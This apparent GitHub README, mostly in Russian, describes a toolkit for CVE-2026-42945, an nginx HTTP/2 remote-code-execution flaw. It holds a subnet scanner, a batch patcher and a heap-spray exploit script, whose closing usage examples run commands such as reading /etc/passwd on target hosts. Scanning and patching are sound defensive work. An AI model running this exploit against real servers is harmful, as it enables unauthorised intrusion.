
Автоматизированный набор инструментов для сканирования, эксплуатации и исправления CVE-2026-42945 (критическая RCE в nginx). Включает сетевой сканер, эксплойт heap spray и пакетный патчер с отчётами в формате HTML/JSON.
Комплексный набор инструментов для сканирования, исправления и тестирования CVE-2026-42945 — критической уязвимости удалённого выполнения кода (RCE) в nginx
Этот набор предоставляет комплексные инструменты для сканирования, исправления и тестирования CVE-2026-42945 — критической уязвимости удалённого выполнения кода в nginx, которая затрагивает версии до 1.26.3 (mainline) и 1.24.1 (stable).
Уязвимость эксплуатирует некорректный разбор заголовков HTTP/2 при отключённом ASLR с использованием техники heap spray.
| Свойство | Значение |
|---|---|
| Идентификатор уязвимости | CVE-2026-42945 |
| Тип | Удалённое выполнение кода (RCE) |
| Оценка CVSS | 9.8 (Критическая) |
| Затронутые версии | < 1.26.3 (mainline) / < 1.24.1 (stable) |
| Исправленная версия | 1.26.3+ |
| Вектор атаки | Некорректный разбор заголовков HTTP/2 |
| Предварительное условие | ASLR отключён на целевой системе |
Сканирует подсеть или отдельный хост для выявления уязвимых установок nginx.
Возможности:
Автоматически обновляет уязвимые экземпляры nginx до последней безопасной версии.
Возможности:
Проверяет уязвимость CVE-2026-42945 с помощью техники heap spray.
Возможности:
paramiko (>= 3.0.0) - SSH client library
rich (>= 13.0.0) - Terminal formatting and progress bars
git clone https://github.com/gagaltotal/CVE-2026-42945-NGINX-Rift-Toolkit
cd CVE-2026-42945-NGINX-Rift-Toolkit
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt

nginx_scanner.py)python3 nginx_scanner.py --subnet 192.168.1.0/24 --user root --key ~/.ssh/id_rsa
python3 nginx_scanner.py --subnet 192.168.1.10 --user root --key ~/.ssh/id_rsa
python3 nginx_scanner.py --subnet 10.0.0.0/30 --user admin --password "password"
python3 nginx_scanner.py --subnet 192.168.1.0/24 --port 2222 --user root --key ~/.ssh/id_rsa
python3 nginx_scanner.py --subnet 192.168.1.0/24 --user root --key ~/.ssh/id_rsa --output report.html
--subnet SUBNET Target subnet in CIDR format (required)
--user USER SSH username (default: root)
--password PASSWORD SSH password
--key KEY_PATH Path to SSH private key
--port PORT SSH port (default: 22)
--timeout TIMEOUT Connection timeout in seconds (default: 5)
--output FILE Output report file (HTML/JSON)
--workers WORKERS Number of concurrent threads (default: 20)
nginx_patcher.py)
python3 nginx_patcher.py --subnet 192.168.1.0/24 --user root --key ~/.ssh/id_rsa
python3 nginx_patcher.py --subnet 192.168.1.0/24 --user root --key ~/.ssh/id_rsa --dry-run
python3 nginx_patcher.py --subnet 192.168.1.0/24 --target-version 1.26.3 --user root --key ~/.ssh/id_rsa
python3 nginx_patcher.py --subnet 10.0.0.0/30 --port 2222 --user admin --password "password"
--subnet SUBNET Target subnet in CIDR format (required)
--user USER SSH username (default: root)
--password PASSWORD SSH password
--key KEY_PATH Path to SSH private key
--port PORT SSH port (default: 22)
--timeout TIMEOUT Connection timeout in seconds (default: 30)
--target-version VERSION Nginx version to patch to (default: latest)
--dry-run Show what would be patched without executing
--workers WORKERS Number of concurrent threads (default: 10)
exploit.py)
python3 exploit.py --target 192.168.1.100 --port 80
python3 exploit.py --target 192.168.1.100 --port 80 --command "cat /etc/passwd"
python3 exploit.py --target 192.168.1.100 --port 80 --spray 50
python3 exploit.py --target 192.168.1.100 --port 80 --verbose